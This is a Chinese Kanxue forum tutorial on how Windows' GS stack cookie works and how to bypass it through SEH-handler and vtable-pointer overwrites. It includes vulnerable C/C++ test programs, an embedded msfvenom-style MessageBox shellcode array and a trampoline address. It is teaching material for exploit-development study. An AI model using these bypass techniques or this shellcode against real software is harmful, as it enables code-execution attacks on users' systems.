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看雪论坛作者ID：yumoqaq
GS原理
向栈内压入一个随机的DWORD值，这个随机数被称为canary ，IDA称为 Security Cookie。
Security Cookie 放入 ebp前，并且data节中存放一个 Security Cookie的副本。
栈中发生溢出时，Security Cookie首先被淹没，之后才是ebp和返回地址。
函数返回之前，会添加一个Security Cookie验证操作，称为Security Check。
Security Check过程中，比较栈中的Security Cookie与data节中的副本，如果不吻合，则栈中发生了溢出。
检测到溢出时，系统将进入异常处理流程，函数不会正常返回，ret也不会被执行。
在VS2005以后的版本，添加了变量重排技术，把缓冲区放到最下面，防止溢出到变量中，同时还把指针参数和字符串参数复制到栈顶，防止函数参数被破坏。
Security Cookie的生成
系统以data节的第一个 DWORD值作为Cookie种子，或称为原始Cookie（所有函数的Cookie都用它生成）。
程序每次运行，种子都不同，具有很强的随机性。
在栈帧初始化以后，用ebp xor 种子 ，作为当前函数的Cookie，以此作为不同函数的区别，并增加随机性。
函数返回前，用ebp 还原出 Cookie 种子 ，进行比较。
GS不会被应用的情况
函数不包含缓冲区。
函数被定义为具有变量参数列表。
函数使用无保护的关键字标记。
函数在第一个语句中内联汇编代码。
缓冲区不是8字节类型 且 大小不大于4个字节。
编译指令 #pragma strict_gs_check(on) 可以为函数强制启用GS。
逆向分析GS
1.用C语言写一个简单的程序，开启GS编译选项，Release编译，观察一下汇编代码（没有GS的汇编代码相信读者已经在之前的章节中看过了）。
#include <stdio.h>#include <Windows.h>int main(int arc, char** argv){char szBuff[100] = { 0 };strcpy(szBuff, argv[1]);printf("%s\n", szBuff);return 0;}
2.生成exe后，ida打开
可以看到，把安全cookie给eax， 与 ebp异或后， 放入栈中ebp-4的位置 ，然后再去函数末尾看一下。
可以看到，在printf调用后， 把栈中的 cookie拿出来给ecx ， ecx与ebp异或后， 调用了一个函数。
这个函数就是检查cookie的函数Security Check ， 先把结果与.data节中的原始 cookie进行比较 ， 如果相同则正常返回， 如果不同则跳转。
然后继续跟着跳转往下看，可以看到最后调用了这个函数：
这里的ExceptionInfo是异常处理需要的结构体，可以在前面看到被赋值，看一下最后的函数调用。
最后这个函数设置了一个空的异常处理函数，之后调用系统自己的异常处理函数，并传入之前的ExceptionInfo，之后获取当前进程后强制结束。
看一下cookie，确实在.data节中， 并且是一个随机值（读者可以调试打开查看，IDA是静态分析工具，cookie会在进入主函数前初始化）。
3.也就是说，如果cookie被覆盖，则不会按照原来流程返回到被覆盖的 retaddr ，验证了前面的原理部分。
4.变量重排比较好理解，因为一般栈空间是按照你的变量顺序来的，重排后，把缓冲区放到距离cookie最近的地方，防止溢出到关键变量，但是没有溢出到cookie的情况。
5.根据以上总结与分析，硬刚GS还是比较困难的，所以我们不得不研究绕过GS的办法。
这里提出四点，我们实践两点，2与3 ， 1与4是理论上可行的，但是实际环境几乎不可能。
利用未被保护的内存突破GS 覆盖虚函数突破GS 攻击SEH突破GS 同时替换栈中和.data中的Cookie突破GS（硬刚覆盖返回地址）
攻击SEH突破GS
1.使用C语言写一个测试程序。
#include <stdio.h>#include <Windows.h>void __stdcall test(char* str, char* out){char buf[200] = { 0 };__try{strcpy(buf, str);strcpy(out, buf);}__except (1){printf("Error OverFlow\n");}}int main(int arc, char** argv){char buf1[500];memset(buf1, 0x90, 1000);char buf2[100] = { 0 };test(buf1, buf2);return 0;}
代码简要解释 ：test是一个溢出函数 且 注册了SEH ， 把buf1 的 500字节的数据 放入 test函数中的200字节大小的缓冲区中， 此时会造成溢出，溢出后会覆盖到 out 的地址（参数地址 ebp + n），然后再次拷贝buf到out 的过程中 ， 会触发非法访问，转入异常处理流程，但是此时函数并没有执行到返回，也就是没有执行到 check cookie函数， 所以可以覆盖SEH来实现绕过 GS。
2.开启GS选项，关闭SafeSEH DEP ASLR选项与优化，生成exe，调试器打开查看， 查看后发现，SEH被编译器扩展（不展开分析）。
好的好的，调试器定位一下test函数，在经过第一次strcpy后，查看SEH链 ，之后继续运行， 访问90909090产生异常。
这个可以证明，攻击SEH是可行的，但是如果你想攻击这个程序，你还得考虑绕过SafeSEH（主模块的地址包含00，无法利用）。
3.修改一下测试代码 ，加入shellcode ，用来展示利用过程，溢出到系统的异常处理， 可以使用 msfvenom生成（参考上篇）。
#include <stdio.h>#include <Windows.h>unsigned char shellcode[500] ="\xd9\xeb\x9b\xd9\x74\x24\xf4\x31\xd2\xb2\x77\x31\xc9\x64\x8b""\x71\x30\x8b\x76\x0c\x8b\x76\x1c\x8b\x46\x08\x8b\x7e\x20\x8b""\x36\x38\x4f\x18\x75\xf3\x59\x01\xd1\xff\xe1\x60\x8b\x6c\x24""\x24\x8b\x45\x3c\x8b\x54\x28\x78\x01\xea\x8b\x4a\x18\x8b\x5a""\x20\x01\xeb\xe3\x34\x49\x8b\x34\x8b\x01\xee\x31\xff\x31\xc0""\xfc\xac\x84\xc0\x74\x07\xc1\xcf\x0d\x01\xc7\xeb\xf4\x3b\x7c""\x24\x28\x75\xe1\x8b\x5a\x24\x01\xeb\x66\x8b\x0c\x4b\x8b\x5a""\x1c\x01\xeb\x8b\x04\x8b\x01\xe8\x89\x44\x24\x1c\x61\xc3\xb2""\x08\x29\xd4\x89\xe5\x89\xc2\x68\x8e\x4e\x0e\xec\x52\xe8\x9f""\xff\xff\xff\x89\x45\x04\xbb\x7e\xd8\xe2\x73\x87\x1c\x24\x52""\xe8\x8e\xff\xff\xff\x89\x45\x08\x68\x6c\x6c\x20\x41\x68\x33""\x32\x2e\x64\x68\x75\x73\x65\x72\x30\xdb\x88\x5c\x24\x0a\x89""\xe6\x56\xff\x55\x04\x89\xc2\x50\xbb\xa8\xa2\x4d\xbc\x87\x1c""\x24\x52\xe8\x5f\xff\xff\xff\x68\x6f\x78\x58\x20\x68\x61\x67""\x65\x42\x68\x4d\x65\x73\x73\x31\xdb\x88\x5c\x24\x0a\x89\xe3""\x68\x58\x20\x20\x20\x68\x4d\x53\x46\x21\x68\x72\x6f\x6d\x20""\x68\x6f\x2c\x20\x66\x68\x48\x65\x6c\x6c\x31\xc9\x88\x4c\x24""\x10\x89\xe1\x31\xd2\x52\x53\x51\x52\xff\xd0\x31\xc0\x50\xff""\x55\x08";void __stdcall test(char* input){char buf[200];strcpy(buf, input);strcat(buf, input);}int main(int arc, char** argv){memset(shellcode + strlen(shellcode), 0x90, sizeof(shellcode) - strlen(shellcode));test(shellcode);}//代码的简单解释//还是之前的原理，溢出到参数列表，造成strcat访问异常，导致程序进入异常处理//但是我们没有自己生成SEH，而是溢出到系统的SEH结构，这样可以避免我们在这个知识点中关心SafeSEH的绕过
4.在shellcode中，确定偏移后，覆盖系统的Handler即可。
#include <stdio.h>#include <Windows.h>unsigned char shellcode[500] ="\xd9\xeb\x9b\xd9\x74\x24\xf4\x31\xd2\xb2\x77\x31\xc9\x64\x8b""\x71\x30\x8b\x76\x0c\x8b\x76\x1c\x8b\x46\x08\x8b\x7e\x20\x8b""\x36\x38\x4f\x18\x75\xf3\x59\x01\xd1\xff\xe1\x60\x8b\x6c\x24""\x24\x8b\x45\x3c\x8b\x54\x28\x78\x01\xea\x8b\x4a\x18\x8b\x5a""\x20\x01\xeb\xe3\x34\x49\x8b\x34\x8b\x01\xee\x31\xff\x31\xc0""\xfc\xac\x84\xc0\x74\x07\xc1\xcf\x0d\x01\xc7\xeb\xf4\x3b\x7c""\x24\x28\x75\xe1\x8b\x5a\x24\x01\xeb\x66\x8b\x0c\x4b\x8b\x5a""\x1c\x01\xeb\x8b\x04\x8b\x01\xe8\x89\x44\x24\x1c\x61\xc3\xb2""\x08\x29\xd4\x89\xe5\x89\xc2\x68\x8e\x4e\x0e\xec\x52\xe8\x9f""\xff\xff\xff\x89\x45\x04\xbb\x7e\xd8\xe2\x73\x87\x1c\x24\x52""\xe8\x8e\xff\xff\xff\x89\x45\x08\x68\x6c\x6c\x20\x41\x68\x33""\x32\x2e\x64\x68\x75\x73\x65\x72\x30\xdb\x88\x5c\x24\x0a\x89""\xe6\x56\xff\x55\x04\x89\xc2\x50\xbb\xa8\xa2\x4d\xbc\x87\x1c""\x24\x52\xe8\x5f\xff\xff\xff\x68\x6f\x78\x58\x20\x68\x61\x67""\x65\x42\x68\x4d\x65\x73\x73\x31\xdb\x88\x5c\x24\x0a\x89\xe3""\x68\x58\x20\x20\x20\x68\x4d\x53\x46\x21\x68\x72\x6f\x6d\x20""\x68\x6f\x2c\x20\x66\x68\x48\x65\x6c\x6c\x31\xc9\x88\x4c\x24""\x10\x89\xe1\x31\xd2\x52\x53\x51\x52\xff\xd0\x31\xc0\x50\xff""\x55\x08\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90";void __stdcall test(char* input){char buf[200];strcpy(buf, input);strcat(buf, input);}int main(int arc, char** argv){int len = strlen(shellcode);memset(shellcode + strlen(shellcode), 0x90, sizeof(shellcode) - strlen(shellcode));int* ptr = &shellcode[len];*ptr = &shellcode;test(shellcode);}
运行进行测试，可以看到拷贝后，刚好覆盖到handler。
不用调试器直接打开此程序 ， 可以看到，成功执行shellcode。
攻击虚函数绕过GS
’1.使用C++编写一个漏洞程序 ， 为了避免操作复杂化， 我们直接在程序中定义shellcode，来进行演示。
#include <stdio.h>#include <Windows.h>class Foo{public:void Overflow(char* src){char buf[8] = { 0 };strcpy(buf, src);bar();}virtual void bar(){}};char shellcode[] ="\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90""\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90";int main(int arc, char** argv){Foo test;test.Overflow(shellcode);return 0;}
2.对代码的介绍：Foo中的成员函数 Overflow存在溢出，且它调用了虚函数 bar ， 如果我们能通过溢出，覆盖到虚表指针，则可以实现漏洞利用
3.现在需要搞清楚，虚表的位置 ， 调试器打开看一下。
可以看到，在调用成员函数的时候的两个参数，这个对象只有4字节的大小，也就是只有一个虚表，跟进查看。
这里可以看到，目的地址为19FF0C ， 对应的栈位置为8个0的数据， 对应buf大小。
19FF0C 到 虚表的偏移为 28 ，好的， 现在我们面临一个 call eax的操作， 也就是调用虚函数。
那么覆盖成什么数据才可以让程序流程转到我们的shellcode？
看一下汇编代码， ebp-10 的位置为 19FF24 ， 也就是对象的首地址 ， 然后从19FF24中取出数据 给 eax。
eax = 19FF24 ，然后从eax中取出数据给 edx ， edx = 40210C ，也就是edx是虚表。
然后从 edx中取出4字节数据， 给eax ， eax = vftable[0] ， 也就是第一个虚函数。
好的，思考一下，我们看到栈中的情况， shellcode的地址在 403018 ， 那么我们是不是可以覆盖虚表指针为403018 （没有ASLR）然后程序会取shellcode的前4字节，作为虚函数执行。
shellcode前4字节设置为跳板地址。
4.现在准备call eax ， 可以看到eax已经被覆盖为 shellcode前4字节 90909090。
观察寄存器可以发现， ecx edx ebp都可以利用， 例如 跳板地址的指令为 call ebp 或者 jmp ebp （选ebp还有个好处，可以跳过前4字节的垃圾指令）。
通过搜索跳板指令， 找到这个地址 0x77528A50（call ebp）， 所以最后的利用方式是这样的：
//0x77528A50char shellcode[] ="\x50\x8A\x52\x77\x90\x90\x90\x90\x90\x90\x90\x90""\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x18\x30\x40";
重新编译，运行，调试，跟踪， 程序来到了nop区执行 ，代表着成功利用
参考资料
看雪ID：yumoqaq
https://bbs.kanxue.com/user-home-930159.htm
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